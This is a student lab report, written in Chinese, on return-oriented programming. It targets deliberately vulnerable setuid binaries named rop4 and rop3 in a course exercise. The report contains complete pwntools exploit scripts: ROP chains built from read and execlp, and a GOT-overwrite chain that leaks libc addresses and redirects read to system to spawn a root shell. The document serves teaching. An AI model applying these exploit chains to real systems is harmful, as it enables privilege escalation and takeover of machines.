【实验目的】
- 本实验所用虚拟机上有一个具有缓冲区溢出漏洞的可执行程序,rop4,具有’s’属性。提供该执行程序的源码rop4.c。
- 该程序采用了NX保护机制,栈不可执行;采用了静态编译选项生成。另外一个rop4_dynamic采用动态编译选项,也可尝试(两者任选一个)。
- 要求学生在linux上编程,并利用相关调试工具,编写出一个利用该漏洞程序的工具(exploit),获得带有root权限的shell,显示flag(不可用其他实验获得root显示flag)。
- 编程语言不限,脚本也可,gcc和python环境已具备,若用其他编程语言请自行下载相关编程语言支持环境。
- 采用ROP方法,可以得40分。若只是采用普通溢出方法,得30分。
- 加分项:在课堂时间内,完成导入课程10.2 ROP链-GOT表利用,可以得到5分的加分。
【实验步骤】
一、基础题
1、思路
首先通过checksec
查看rop4的信息,开启了NX(栈不可执行),但是没有开canary和PIE。
再看rop4.c
:
可以利用read()
, execlp()
和全局变量exec_string[20]
思路:
payload=填充字符+read地址+Gadgets地址(pppr)+read参数*3+execlp地址+4个填充字符"JUNK"+execlp参数*3
更具体一点:
payload="A"*140+read地址+Gadgets地址(pppr)+0+exec_string地址+9+execlp地址+4个填充字符"JUNK"+exec_string地址+exec_string地址+0
栈上结构:
2、过程
确定padding
python -c 'print "A"*140 + "BBBB"' | strace ./rop4
前面的payload需要填充140bytes才能填到return address
找ROP Gadget
ROPgadget --binary rop4 --only "pop|ret"
因为32位机器是从栈上传参的,所以read地址上面需要放read的三个参数。为了不妨碍这三个参数影响后续的执行,当read介绍要return的时候指向pop三次再ret的gadget地址,让这三个参数出栈。
找到:0x0809cd25 : pop ebp ; pop esi ; pop edi ; ret
确定函数和全局变量的位置
可以直接利用pwn
中的工具
code = ELF("./rop4")
read_addr = code.symbols['__libc_read']
execlp_addr = code.symbols['execlp']
char_addr = code.symbols['exec_string']
exec_the_string = code.symbols['exec_the_string']
构造payload
方法一(execlp):
# coding=UTF-8
from pwn import *
context(os='linux', arch='i386', log_level='debug')
code = ELF("./rop4")
p = process('./rop4')
read_addr = code.symbols['__libc_read']
execlp_addr = code.symbols['execlp']
char_addr = code.symbols['exec_string']
pppr = 0x0809cd25
# 填充
payload = b"A"*140
# read(0,&exec_string,9)
# 把"/bin/bash"读入&exec_string
payload += p32(read_addr)+p32(pppr)+p32(0x0)+p32(char_addr)+p32(0x09)
# 调用execlp执行,execlp(exec_string,exec_string,0)
payload += p32(execlp_addr)+b"JUNK"+p32(char_addr)+p32(char_addr)+p32(0x0)
p.sendline(payload)
p.send(b"/bin/bash")
p.interactive()
运行截图:
方法二(exec_the_string):
# coding=UTF-8
from pwn import *
context(os='linux', arch='i386', log_level='debug')
code = ELF("./rop4")
p = process('./rop4')
read_addr = code.symbols['__libc_read']
char_addr = code.symbols['exec_string']
exec_the_string = code.symbols['exec_the_string']
pppr = 0x0809cd25
# 填充
payload = b"A"*140
# read(0,&exec_string,9)
# 把"/bin/bash"读入&exec_string
payload += p32(read_addr)+p32(pppr)+p32(0x0)+p32(char_addr)+p32(0x09)
# 调用exec_the_string()
payload += p32(exec_the_string)
p.sendline(payload)
p.send(b"/bin/bash")
p.interactive()
二、加分项
1、思路
首先看代码,这道题和ROP4的区别是:
①没有函数execlp(exec_string, exec_string, NULL);
②没有全局变量char exec_string[20];
这导致了没有办法像rop4
那样跳转到一个函数执行/bin/bash,并且没有一个现有的地方写入/bin/bash
所以需要用到GOT表劫持和.bss
段。
GOT表劫持的核心目的是通过修改GOT表中的函数地址为其他我们期望的地址,从而达到执行该函数时,通过跳转到GOT表,从而跳转到我们修改过的地址去执行指令。
首先通过readelf -S rop3
查看GOT表是否可以写:
.got
和.got.plt
都是可写的。
.got
中存放的是外部全局变量的GOT表,例如stdin/stdout/stderr
,非延时绑定。.got.plt
中存放的是外部函数的GOT表,例如printf
函数,延时绑定。
再通过objdump -R rop3
查看,可以看到read@got和write@got都是可以劫持的,这里选择read@got:
gdb rop3
在运行后用vmmap
查看内存,找到可写的.bss
段:
确定总体思路:
1、将return address改成read@plt并在.bss区域写入“/bin/bash”(后面send),read(0, .bss, 9)
2、调用write@plt来读取read@got,输出到屏幕,write(1, read_got, 4)
3、调用read@plt,read(0,read_got,4)
,目的是把在read_got的地址写上system()
的地址,根据recv的的read_got的地址-固定偏移offset,即system()
地址(后面send)
4、这时read@got已经改成system()
,再调用read()就会执行system()
,system()
的参数是之前写在.bss段的”/bin/sh”,中间需要加4bytes的JUNK
2、过程
确定padding
同rop4
python -c 'print ("A"*140 + "BBBB")' | strace ./rop3
和rop4一样需要先填充140bytes。
找ROP Gadget
ROPgadget --binary rop3 --only "pop|ret"
获取偏移offset
gdb rop3
......
pwndbg> b main
Breakpoint 1 at 0x80484c9
pwndbg> r
所以offset=0xf7ef1860-0xf7e44f10=0xac950
构造payload
# coding=UTF-8
from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = process("./rop3")
code = ELF("./rop3")
read_plt = code.plt['read']
read_got = code.got['read']
write_plt = code.plt['write']
write_got = code.got['write']
bin_bash = "/bin/bash"
pppr = 0x0804855d
offset = 0xAC950
payload = b"A"*140
# 将return address改成read@plt并在.bss区域写入“/bin/bash”(后面send)
# read(0,.bss,9)
payload += p32(read_plt)+p32(pppr)+p32(0x0)+p32(code.bss())+p32(0x9)
# 调用write@plt来读取read@got,输出到屏幕
# write(1,read_got,4)
payload += p32(write_plt)+p32(pppr)+p32(0x1)+p32(read_got)+p32(0x4)
# 调用read@plt,read(0,read_got,4)
# 目的是把在read_got的地址写上system()的地址
# 根据上一步显示的read_got的位置-固定偏移offset,即system()地址(后面send)
payload += p32(read_plt)+p32(pppr)+p32(0x0)+p32(read_got)+p32(0x4)
# 这时read@got已经改成system(),再调用read()就会执行system()
# system()的参数是之前写在.bss段的"/bin/bash"
# 中间需要加4bytes的JUNK
payload += p32(read_plt)+b"JUNK"+p32(code.bss())
p.send(payload)
p.send(bin_bash)
system = u32(p.recv(4)) - offset
# print(hex(system))
p.sendline(p32(system))
p.interactive()
运行截图:
三、一点思考
在这次的两个实验rop3和rop4中都测试过,输入/bin/bash
和/bin/sh
在CentOS和ubuntu上都可以。源代码中有这样一段话:
// /bin/sh is usually symlinked to bash, which usually drops privs. Make
// sure we don't drop privs if we exec bash, (ie if we call system()).
问了老师之后又查了一下:/bin/sh
在大多数 GNU/Linux 系统上用于指向/bin/bash
,比如说默认情况下现代 Debian 和 Ubuntu 系统,它们的符号链接都是从/sh
指向/bash
。
老师说也可以指向/bin/date
,因为这样会有回显,如果用/bin/bash
则没有回显,只有输入正确的命令后才可以看到是否攻击成功。
如果用pwn写py脚本的话,如果攻击失败,最后会直接GOT EOF,所以可以很方便地看出是否攻击成功。